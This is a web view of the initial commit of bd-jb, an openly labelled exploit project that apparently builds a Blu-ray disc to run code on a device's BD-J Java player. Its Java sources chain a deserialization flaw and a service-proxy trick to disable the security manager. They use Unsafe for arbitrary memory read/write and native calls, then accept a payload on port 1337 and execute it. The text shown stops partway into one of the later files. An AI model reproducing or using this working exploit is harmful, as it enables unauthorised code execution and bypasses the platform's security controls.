Browse Source

Initial commit.

master
Andy Nguyen 12 months ago
commit
8f0a5539e8
  1. 8
      .gitignore
  2. 21
      LICENSE
  3. 34
      Makefile
  4. 7
      README.md
  5. 29
      bdmv/MovieObject.xml
  6. 47
      bdmv/bdjo.xml
  7. 6
      bdmv/id.xml
  8. 32
      bdmv/index.xml
  9. 569
      com/bdjb/API.java
  10. 87
      com/bdjb/Exploit.java
  11. 12
      com/bdjb/ExploitInterface.java
  12. 60
      com/bdjb/ExploitServiceProxyImpl.java
  13. 56
      com/bdjb/ExploitUserPrefsImpl.java
  14. 45
      com/bdjb/ExploitXlet.java
  15. 50
      com/bdjb/IxcProxyImpl.java
  16. 160
      com/bdjb/JIT.java
  17. 24
      com/bdjb/Payload.java
  18. 58
      com/bdjb/PayloadClassLoader.java
  19. 27
      com/bdjb/PayloadClassLoaderSerializer.java
  20. 65
      com/bdjb/ProviderAccessorImpl.java
  21. 45
      com/bdjb/Screen.java
  22. 30
      com/bdjb/ServiceImpl.java
  23. 18
      com/bdjb/ServiceInterface.java
  24. 40
      com/bdjb/UnsafeInterface.java
  25. 105
      com/bdjb/UnsafeJdkImpl.java
  26. 84
      com/bdjb/UnsafeSunImpl.java
  27. 12
      com/bdjb/bluray.ExploitXlet.perm
  28. BIN
      disc/BDMV/META/DL/bdjb.jpg
  29. 17
      disc/BDMV/META/DL/bdmt_eng.xml
  30. BIN
      disc/CERTIFICATE/app.discroot.crt
  31. BIN
      disc/CERTIFICATE/bu.discroot.crt
  32. 49
      jdk/internal/misc/Unsafe.java
  33. BIN
      keystore.store
  34. 19
      payload/Makefile
  35. 9
      payload/linker.x
  36. 7
      payload/payload.c
  37. 2
      payload/start.S

8
.gitignore vendored

@ -0,0 +1,8 @@ @@ -0,0 +1,8 @@
.idea/
tools/
lib/
disc/CERTIFICATE/id.bdmv
disc/BDMV/index.bdmv
disc/BDMV/MovieObject.bdmv
disc/BDMV/JAR/00000.jar
disc/BDMV/BDJO/00000.bdjo

21
LICENSE

@ -0,0 +1,21 @@ @@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (C) 2021 Andy Nguyen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

34
Makefile

@ -0,0 +1,34 @@ @@ -0,0 +1,34 @@
SRC = \
com/bdjb/ExploitXlet.java \
com/bdjb/Exploit.java \
com/bdjb/ExploitInterface.java \
com/bdjb/ExploitUserPrefsImpl.java \
com/bdjb/ExploitServiceProxyImpl.java \
com/bdjb/IxcProxyImpl.java \
com/bdjb/ServiceInterface.java \
com/bdjb/ServiceImpl.java \
com/bdjb/ProviderAccessorImpl.java \
com/bdjb/PayloadClassLoader.java \
com/bdjb/Payload.java \
com/bdjb/UnsafeInterface.java \
com/bdjb/UnsafeJdkImpl.java \
com/bdjb/UnsafeSunImpl.java \
com/bdjb/API.java \
com/bdjb/JIT.java \
com/bdjb/Screen.java \
all:
javac com/bdjb/PayloadClassLoaderSerializer.java && java com/bdjb/PayloadClassLoaderSerializer
javac -source 1.4 -target 1.4 -bootclasspath "lib/rt.jar:lib/bdjstack.jar:lib/fakejdk.jar" $(SRC)
jar cf disc/BDMV/JAR/00000.jar com/bdjb/*.class com/bdjb/*.ser com/bdjb/bluray.ExploitXlet.perm
java -cp "tools/security.jar:tools/bcprov-jdk15-137.jar:tools/tools.jar" net.java.bd.tools.security.BDSigner disc/BDMV/JAR/00000.jar
java -jar tools/bdjo.jar bdmv/bdjo.xml disc/BDMV/BDJO/00000.bdjo
java -jar tools/MovieObject.jar bdmv/MovieObject.xml disc/BDMV/MovieObject.bdmv
java -jar tools/index.jar bdmv/index.xml disc/BDMV/index.bdmv
java -jar tools/id.jar bdmv/id.xml disc/CERTIFICATE/id.bdmv
clean:
rm -rf *.class
rm -rf com/bdjb/*.class
rm -rf com/bdjb/*.ser
rm -rf META-INF

7
README.md

@ -0,0 +1,7 @@ @@ -0,0 +1,7 @@
# bd-jb
The first bd-j hack.
# Credits
- bd-j tools from https://github.com/zathras/java.net

29
bdmv/MovieObject.xml

@ -0,0 +1,29 @@ @@ -0,0 +1,29 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<movieObjectFile>
<version>0200</version>
<movieObjects>
<movieObject mobjId="0">
<navigationCommands commandId="0">
<command>21810000 00000001 00000000</command>
</navigationCommands>
<terminalInfo>
<menuCallMask>false</menuCallMask>
<resumeIntentionFlag>false</resumeIntentionFlag>
<titleSearchMask>false</titleSearchMask>
</terminalInfo>
</movieObject>
<movieObject mobjId="1">
<navigationCommands commandId="0">
<command>21810000 00000001 00000000</command>
</navigationCommands>
<terminalInfo>
<menuCallMask>false</menuCallMask>
<resumeIntentionFlag>false</resumeIntentionFlag>
<titleSearchMask>false</titleSearchMask>
</terminalInfo>
</movieObject>
</movieObjects>
<extensionData/>
<paddingsN1>0</paddingsN1>
<paddingsN2>0</paddingsN2>
</movieObjectFile>

47
bdmv/bdjo.xml

@ -0,0 +1,47 @@ @@ -0,0 +1,47 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<bdjo>
<appCacheInfo>
<entries>
<language>*.*</language>
<name>00000</name>
<type>1</type>
</entries>
</appCacheInfo>
<applicationManagementTable>
<applications>
<applicationDescriptor>
<baseDirectory>00000</baseDirectory>
<binding>TITLE_BOUND_DISC_BOUND</binding>
<classpathExtension></classpathExtension>
<iconFlags>0x0</iconFlags>
<iconLocator></iconLocator>
<initialClassName>com.bdjb.ExploitXlet</initialClassName>
<priority>128</priority>
<profiles>
<majorVersion>1</majorVersion>
<microVersion>0</microVersion>
<minorVersion>0</minorVersion>
<profile>1</profile>
</profiles>
<visibility>V_01</visibility>
</applicationDescriptor>
<applicationId>0x4000</applicationId>
<controlCode>0x1</controlCode>
<organizationId>0x56789abc</organizationId>
<type>0x1</type>
</applications>
</applicationManagementTable>
<fileAccessInfo>.</fileAccessInfo>
<keyInterestTable>0x0</keyInterestTable>
<tableOfAccessiblePlayLists>
<accessToAllFlag>false</accessToAllFlag>
<autostartFirstPlayListFlag>false</autostartFirstPlayListFlag>
</tableOfAccessiblePlayLists>
<terminalInfo>
<defaultFontFile>00000</defaultFontFile>
<initialHaviConfig>HD_1920_1080</initialHaviConfig>
<menuCallMask>false</menuCallMask>
<titleSearchMask>false</titleSearchMask>
</terminalInfo>
<version>V_0200</version>
</bdjo>

6
bdmv/id.xml

@ -0,0 +1,6 @@ @@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<id>
<discId>0x00000000000000000000000000000001</discId>
<orgId>0x56789abc</orgId>
<version>0200</version>
</id>

32
bdmv/index.xml

@ -0,0 +1,32 @@ @@ -0,0 +1,32 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<index>
<appInfo/>
<extensionData/>
<indexes>
<firstPlayback>
<firstPlaybackObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
<HDMVName>0x0</HDMVName>
<playbackType>HDMVPlayback_MOVIE</playbackType>
</firstPlaybackObject>
</firstPlayback>
<topMenu>
<topMenuObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
<HDMVName>0x1</HDMVName>
<playbackType>HDMVPlayback_INTERACTIVE</playbackType>
</topMenuObject>
</topMenu>
<titles>
<title>
<indexObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="BDJIndexObject">
<BDJOName>00000</BDJOName>
<playbackType>BDJPlayback_MOVIE</playbackType>
</indexObject>
<titleAccessType>V_00</titleAccessType>
</title>
</titles>
</indexes>
<paddingN1>0</paddingN1>
<paddingN2>0</paddingN2>
<paddingN3>0</paddingN3>
<version>0200</version>
</index>

569
com/bdjb/API.java

@ -0,0 +1,569 @@ @@ -0,0 +1,569 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/** API class to access native data and execute native code. */
final class API {
static final int INT8_SIZE = 1;
static final int INT16_SIZE = 2;
static final int INT32_SIZE = 4;
static final int INT64_SIZE = 8;
static final long RTLD_DEFAULT = -2;
static final long LIBC_MODULE_HANDLE = 0x2;
static final long LIBKERNEL_MODULE_HANDLE = 0x2001;
static final long LIBJAVA_MODULE_HANDLE = 0x4A;
private static final String UNSUPPORTED_DLOPEN_OPERATION_STRING =
"Unsupported dlopen() operation";
private static final String SETJMP_SYMBOL = "setjmp";
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
"Java_java_lang_reflect_Array_multiNewArray";
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray";
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J";
private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary";
private static final String FIND_ENTRY_METHOD_NAME = "findEntry";
private static final String FIND_METHOD_NAME = "find";
private static final String HANDLE_FIELD_NAME = "handle";
private static final int[] MULTI_NEW_ARRAY_DIMENSIONS = new int[] {1};
private static final String VALUE_FIELD_NAME = "value";
private static final Long LONG_VALUE = new Long(1337);
private static API instance;
private UnsafeInterface unsafe;
private long longValueOffset;
private Object nativeLibrary;
private Method findMethod;
private Field handleField;
private long executableHandle;
private long Java_java_lang_reflect_Array_multiNewArray;
private long JVM_NativePath;
private long __Ux86_64_setcontext;
private long setjmp;
private boolean jdk11;
private API() throws Exception {
this.init();
}
static synchronized API getInstance() throws Exception {
if (instance == null) {
instance = new API();
}
return instance;
}
private native long multiNewArray(Class componentType, int[] dimensions);
private void init() throws Exception {
initUnsafe();
initDlsym();
initSymbols();
initApiCall();
}
private void initUnsafe() throws Exception {
try {
unsafe = new UnsafeSunImpl();
jdk11 = false;
} catch (ClassNotFoundException e) {
unsafe = new UnsafeJdkImpl();
jdk11 = true;
}
longValueOffset = unsafe.objectFieldOffset(Long.class.getDeclaredField(VALUE_FIELD_NAME));
}
private void initDlsym() throws Exception {
Class nativeLibraryClass = Class.forName(NATIVE_LIBRARY_CLASS_NAME);
if (jdk11) {
findMethod =
nativeLibraryClass.getDeclaredMethod(FIND_ENTRY_METHOD_NAME, new Class[] {String.class});
} else {
findMethod =
nativeLibraryClass.getDeclaredMethod(FIND_METHOD_NAME, new Class[] {String.class});
}
handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME);
findMethod.setAccessible(true);
handleField.setAccessible(true);
Constructor nativeLibraryConstructor =
nativeLibraryClass.getDeclaredConstructor(
new Class[] {Class.class, String.class, boolean.class});
nativeLibraryConstructor.setAccessible(true);
nativeLibrary =
nativeLibraryConstructor.newInstance(new Object[] {getClass(), "api", new Boolean(true)});
}
private void initSymbols() {
JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL);
if (JVM_NativePath == 0) {
throw new IllegalArgumentException("JVM_NativePath symbol could not be found.");
}
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
if (__Ux86_64_setcontext == 0) {
// In earlier versions, there's a bug where only the main executable's handle is used.
executableHandle = JVM_NativePath & ~(4 - 1);
while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) {
executableHandle += 4;
}
executableHandle -= 4;
// Try again.
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
}
if (__Ux86_64_setcontext == 0) {
throw new IllegalArgumentException("__Ux86_64_setcontext symbol could not be found.");
}
if (jdk11) {
Java_java_lang_reflect_Array_multiNewArray =
dlsym(LIBJAVA_MODULE_HANDLE, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
} else {
Java_java_lang_reflect_Array_multiNewArray =
dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
}
if (Java_java_lang_reflect_Array_multiNewArray == 0) {
throw new IllegalArgumentException(
"Java_java_lang_reflect_Array_multiNewArray symbol could not be found.");
}
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL);
if (setjmp == 0) {
throw new IllegalArgumentException("setjmp symbol could not be found.");
}
}
private void initApiCall() {
long apiInstance = addrof(this);
long apiKlass = read64(apiInstance + 0x08);
if (jdk11) {
long methods = read64(apiKlass + 0x170);
int numMethods = read32(methods + 0x00);
for (int i = 0; i < numMethods; i++) {
long method = read64(methods + 0x08 + i * 8);
long constMethod = read64(method + 0x08);
long constants = read64(constMethod + 0x08);
short nameIndex = read16(constMethod + 0x2A);
short signatureIndex = read16(constMethod + 0x2C);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
short nameLength = read16(nameSymbol + 0x00);
short signatureLength = read16(signatureSymbol + 0x00);
String name = readString(nameSymbol + 0x06, nameLength);
String signature = readString(signatureSymbol + 0x06, signatureLength);
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray);
return;
}
}
} else {
long methods = read64(apiKlass + 0xC8);
int numMethods = read32(methods + 0x10);
for (int i = 0; i < numMethods; i++) {
long method = read64(methods + 0x18 + i * 8);
long constMethod = read64(method + 0x10);
long constants = read64(method + 0x18);
short nameIndex = read16(constMethod + 0x42);
short signatureIndex = read16(constMethod + 0x44);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
short nameLength = read16(nameSymbol + 0x08);
short signatureLength = read16(signatureSymbol + 0x08);
String name = readString(nameSymbol + 0x0A, nameLength);
String signature = readString(signatureSymbol + 0x0A, signatureLength);
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray);
return;
}
}
}
throw new IllegalArgumentException("Native method could not be installed.");
}
private void buildContext(
long contextData,
long setJmpData,
long rip,
long rdi,
long rsi,
long rdx,
long rcx,
long r8,
long r9) {
long rbx = read64(setJmpData + 0x08);
long rsp = read64(setJmpData + 0x10);
long rbp = read64(setJmpData + 0x18);
long r12 = read64(setJmpData + 0x20);
long r13 = read64(setJmpData + 0x28);
long r14 = read64(setJmpData + 0x30);
long r15 = read64(setJmpData + 0x38);
write64(contextData + 0x48, rdi);
write64(contextData + 0x50, rsi);
write64(contextData + 0x58, rdx);
write64(contextData + 0x60, rcx);
write64(contextData + 0x68, r8);
write64(contextData + 0x70, r9);
write64(contextData + 0x80, rbx);
write64(contextData + 0x88, rbp);
write64(contextData + 0xA0, r12);
write64(contextData + 0xA8, r13);
write64(contextData + 0xB0, r14);
write64(contextData + 0xB8, r15);
write64(contextData + 0xE0, rip);
write64(contextData + 0xF8, rsp);
write64(contextData + 0x110, 0x41414141);
write64(contextData + 0x118, 0x41414141);
}
long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
long fakeCallKlass = malloc(0x400);
memset(fakeCallKlass, 0, 0x400);
long fakeCallKlassVtable = malloc(0x400);
for (int i = 0; i < 0x400; i += 8) {
write64(fakeCallKlassVtable + i, JVM_NativePath);
}
long ret = 0;
if (jdk11) {
long callClass = addrof(Call.class);
long callKlass = read64(callClass + 0x98);
write64(fakeCallKlassVtable + 0x158, setjmp);
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
write64(callClass + 0x98, fakeCallKlass);
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
buildContext(
fakeCallKlass + 0x00, fakeCallKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5);
write64(fakeCallKlassVtable + 0x158, __Ux86_64_setcontext);
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
write64(callClass + 0x98, fakeCallKlass);
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
write64(callClass + 0x98, callKlass);
} else {
long callClass = addrof(Call.class);
long callKlass = read64(callClass + 0x68);
write64(fakeCallKlassVtable + 0x230, setjmp);
write64(fakeCallKlass + 0x10, fakeCallKlassVtable);
write64(fakeCallKlass + 0x20, fakeCallKlassVtable);
write64(callClass + 0x68, fakeCallKlass);
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
buildContext(
fakeCallKlass + 0x20, fakeCallKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5);
write64(fakeCallKlassVtable + 0x230, __Ux86_64_setcontext);
write64(fakeCallKlass + 0x10, fakeCallKlassVtable);
write64(fakeCallKlass + 0x20, fakeCallKlassVtable);
write64(callClass + 0x68, fakeCallKlass);
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
write64(callClass + 0x68, callKlass);
}
free(fakeCallKlassVtable);
free(fakeCallKlass);
if (ret == 0) {
return 0;
}
return read64(ret);
}
long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
return call(func, arg0, arg1, arg2, arg3, arg4, (long) 0);
}
long call(long func, long arg0, long arg1, long arg2, long arg3) {
return call(func, arg0, arg1, arg2, arg3, (long) 0);
}
long call(long func, long arg0, long arg1, long arg2) {
return call(func, arg0, arg1, arg2, (long) 0);
}
long call(long func, long arg0, long arg1) {
return call(func, arg0, arg1, (long) 0);
}
long call(long func, long arg0) {
return call(func, arg0, (long) 0);
}
long call(long func) {
return call(func, (long) 0);
}
long dlsym(long handle, String symbol) {
int oldHandle = (int) RTLD_DEFAULT;
try {
if (executableHandle != 0) {
// In earlier versions, there's a bug where only the main executable's handle is used.
oldHandle = read32(executableHandle);
write32(executableHandle, (int) handle);
handleField.setLong(nativeLibrary, RTLD_DEFAULT);
} else {
handleField.setLong(nativeLibrary, handle);
}
return ((Long) findMethod.invoke(nativeLibrary, new Object[] {symbol})).longValue();
} catch (Exception e) {
return 0;
} finally {
if (executableHandle != 0) {
write32(executableHandle, oldHandle);
}
}
}
long addrof(Object obj) {
try {
unsafe.putObject(LONG_VALUE, longValueOffset, obj);
return unsafe.getLong(LONG_VALUE, longValueOffset);
} catch (Exception e) {
return 0;
}
}
byte read8(long addr) {
return unsafe.getByte(addr);
}
short read16(long addr) {
return unsafe.getShort(addr);
}
int read32(long addr) {
return unsafe.getInt(addr);
}
long read64(long addr) {
return unsafe.getLong(addr);
}
void write8(long addr, byte val) {
unsafe.putByte(addr, val);
}
void write16(long addr, short val) {
unsafe.putShort(addr, val);
}
void write32(long addr, int val) {
unsafe.putInt(addr, val);
}
void write64(long addr, long val) {
unsafe.putLong(addr, val);
}
long malloc(long size) {
return unsafe.allocateMemory(size);
}
long realloc(long ptr, long size) {
return unsafe.reallocateMemory(ptr, size);
}
void free(long ptr) {
unsafe.freeMemory(ptr);
}
long memcpy(long dest, long src, long n) {
for (int i = 0; i < n; i++) {
write8(dest + i, read8(src + i));
}
return dest;
}
long memcpy(long dest, byte[] src, long n) {
for (int i = 0; i < n; i++) {
write8(dest + i, src[i]);
}
return dest;
}
byte[] memcpy(byte[] dest, long src, long n) {
for (int i = 0; i < n; i++) {
dest[i] = read8(src + i);
}
return dest;
}
long memset(long s, int c, long n) {
for (int i = 0; i < n; i++) {
write8(s + i, (byte) c);
}
return s;
}
byte[] memset(byte[] s, int c, long n) {
for (int i = 0; i < n; i++) {
s[i] = (byte) c;
}
return s;
}
int memcmp(long s1, long s2, long n) {
for (int i = 0; i < n; i++) {
byte b1 = read8(s1 + i);
byte b2 = read8(s2 + i);
if (b1 != b2) {
return (int) b1 - (int) b2;
}
}
return 0;
}
int memcmp(long s1, byte[] s2, long n) {
for (int i = 0; i < n; i++) {
byte b1 = read8(s1 + i);
byte b2 = s2[i];
if (b1 != b2) {
return (int) b1 - (int) b2;
}
}
return 0;
}
int memcmp(byte[] s1, long s2, long n) {
return memcmp(s2, s1, n);
}
int strcmp(long s1, long s2) {
int i = 0;
while (true) {
byte b1 = read8(s1 + i);
byte b2 = read8(s2 + i);
if (b1 != b2) {
return (int) b1 - (int) b2;
}
if (b1 == (byte) 0 && b2 == (byte) 0) {
return 0;
}
i++;
}
}
int strcmp(long s1, String s2) {
byte[] bytes = toCBytes(s2);
int i = 0;
while (true) {
byte b1 = read8(s1 + i);
byte b2 = bytes[i];
if (b1 != b2) {
return (int) b1 - (int) b2;
}
if (b1 == (byte) 0 && b2 == (byte) 0) {
return 0;
}
i++;
}
}
int strcmp(String s1, long s2) {
return strcmp(s2, s1);
}
long strcpy(long dest, long src) {
int i = 0;
while (true) {
byte ch = read8(src + i);
write8(dest + i, ch);
if (ch == (byte) 0) {
break;
}
i++;
}
return dest;
}
long strcpy(long dest, String src) {
byte[] bytes = toCBytes(src);
int i = 0;
while (true) {
byte ch = bytes[i];
write8(dest + i, ch);
if (ch == (byte) 0) {
break;
}
i++;
}
return dest;
}
String readString(long src, int n) {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
int i = 0;
while (true) {
byte ch = read8(src + i);
if (ch == (byte) 0 || i == n) {
break;
}
outputStream.write(new byte[] {ch}, 0, 1);
i++;
}
return outputStream.toString();
}
String readString(long src) {
return readString(src, -1);
}
byte[] toCBytes(String str) {
byte[] bytes = new byte[str.length() + 1];
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
return bytes;
}
private final class Call {}
}

87
com/bdjb/Exploit.java

@ -0,0 +1,87 @@ @@ -0,0 +1,87 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.net.ServerSocket;
class Exploit implements Runnable {
static void init() {
Screen.println("[+] bd-jb by theflow");
Screen.println("[*] Disabling security manager...");
ExploitInterface[] exploits =
new ExploitInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()};
for (int i = 0; i < exploits.length; i++) {
try {
exploits[i].trigger();
if (System.getSecurityManager() == null) {
break;
}
} catch (Exception e) {
continue;
}
}
if (System.getSecurityManager() != null) {
Screen.println("[-] Error could not disable security manager.");
}
}
static void start() {
new Thread(new Exploit()).start();
}
public void run() {
if (System.getSecurityManager() != null) {
return;
}
try {
Screen.println("[*] Installing native API...");
API api = API.getInstance();
Screen.println("[*] Enabling JIT...");
JIT jit = JIT.getInstance();
Screen.println("[*] Waiting for payload...");
ServerSocket serverSocket = new ServerSocket(1337);
Socket socket = serverSocket.accept();
Screen.println("[*] Downloading payload...");
InputStream inputStream = socket.getInputStream();
OutputStream outputStream = new FileOutputStream("/OS/HDD/download0/mnt_ada/payload.bin");
byte[] buf = new byte[8192];
int read;
while ((read = inputStream.read(buf)) > 0) {
outputStream.write(buf, 0, read);
}
outputStream.close();
inputStream.close();
socket.close();
Screen.println("[*] Executing payload...");
long sceKernelDlsym = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym");
long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin");
int ret = (int) api.call(payload, sceKernelDlsym);
Screen.println("[+] Result: " + Integer.toHexString(ret));
} catch (Exception e) {
Screen.println("[-] Error: " + e.getCause());
}
}
}

12
com/bdjb/ExploitInterface.java

@ -0,0 +1,12 @@ @@ -0,0 +1,12 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
interface ExploitInterface {
public void trigger() throws Exception;
}

60
com/bdjb/ExploitServiceProxyImpl.java

@ -0,0 +1,60 @@ @@ -0,0 +1,60 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.Security;
import java.security.Provider;
/** Implementation of the service+proxy exploit. */
class ExploitServiceProxyImpl implements ExploitInterface {
private static final String SERVICE_CLASS_NAME = "com.oracle.security.Service";
private static final String NEW_INSTANCE_METHOD_NAME = "newInstance";
private static final String NEW_INSTANCE_METHOD_SIGNATURE =
"(Ljava/lang/Object;)Ljava/lang/Object;";
private static final String JAR_URL =
"file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar";
private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload";
public void trigger() throws Exception {
// Throw exception if class does not exist.
Class.forName(SERVICE_CLASS_NAME);
IxcProxyImpl proxy = IxcProxyImpl.getInstance();
// Prepare service object with the class to be instantiated.
Provider[] providers = Security.getProviders();
ServiceImpl service =
new ServiceImpl(
providers[0], "exploit", "exploit", URLClassLoader.class.getName(), null, null);
ProviderAccessorImpl providerAccessor = new ProviderAccessorImpl(providers);
providerAccessor.putService(providers[0], service);
providerAccessor.setProviderAccessor();
// Instantiate the URLClassLoader class with privileges and a vulnerable path.
URL[] urls = new URL[] {new URL(JAR_URL)};
URLClassLoader urlClassLoader =
(URLClassLoader)
proxy.invokeMethod(
service,
NEW_INSTANCE_METHOD_NAME,
NEW_INSTANCE_METHOD_SIGNATURE,
new Object[] {urls});
// Instantiate the payload class with all permissions to disable the security manager.
Class payloadClass = urlClassLoader.loadClass(PAYLOAD_CLASS_NAME);
payloadClass.newInstance();
}
}

56
com/bdjb/ExploitUserPrefsImpl.java

@ -0,0 +1,56 @@ @@ -0,0 +1,56 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.FileOutputStream;
import org.havi.ui.HSceneFactory;
/** Implementation of the userprefs deserialization exploit. */
class ExploitUserPrefsImpl implements ExploitInterface {
private static final String MNT_ADA_USERPREFS = "/OS/HDD/download0/mnt_ada/userprefs";
private static final String PAYLOAD_CLASS_LOADER_SER = "/com/bdjb/PayloadClassLoader.ser";
public void trigger() throws Exception {
try {
// Overwrite userprefs with a serialized PayloadClassLoader.
InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_LOADER_SER);
OutputStream outputStream = new FileOutputStream(MNT_ADA_USERPREFS);
byte[] buf = new byte[8192];
int read;
while ((read = inputStream.read(buf)) > 0) {
outputStream.write(buf, 0, read);
}
outputStream.close();
inputStream.close();
// Trigger deserialization vulnerability.
try {
HSceneFactory.getInstance().getDefaultHScene();
} catch (ClassCastException e) {
// Exception expected.
// Instantiate the payload class.
PayloadClassLoader.getInstance().newPayload();
}
} finally {
// Restore userprefs file.
String[][] preferences = new String[9][];
preferences[3] = new String[] {"26"};
ObjectOutputStream outputStream =
new ObjectOutputStream(new FileOutputStream(MNT_ADA_USERPREFS));
outputStream.writeObject(preferences);
outputStream.close();
}
}
}

45
com/bdjb/ExploitXlet.java

@ -0,0 +1,45 @@ @@ -0,0 +1,45 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.awt.BorderLayout;
import javax.tv.xlet.Xlet;
import javax.tv.xlet.XletContext;
import org.havi.ui.HScene;
import org.havi.ui.HSceneFactory;
public class ExploitXlet implements Xlet {
private HScene scene;
private Screen screen;
public void initXlet(XletContext context) {
Exploit.init();
screen = Screen.getInstance();
screen.setSize(1920, 1080); // BD screen size
scene = HSceneFactory.getInstance().getDefaultHScene();
scene.add(screen, BorderLayout.CENTER);
scene.validate();
}
public void startXlet() {
screen.setVisible(true);
scene.setVisible(true);
Exploit.start();
}
public void pauseXlet() {
screen.setVisible(false);
}
public void destroyXlet(boolean unconditional) {
scene.remove(screen);
scene = null;
}
}

50
com/bdjb/IxcProxyImpl.java

@ -0,0 +1,50 @@ @@ -0,0 +1,50 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import com.sony.gemstack.core.CoreAppContext;
import com.sony.gemstack.core.CoreIxcClassLoader;
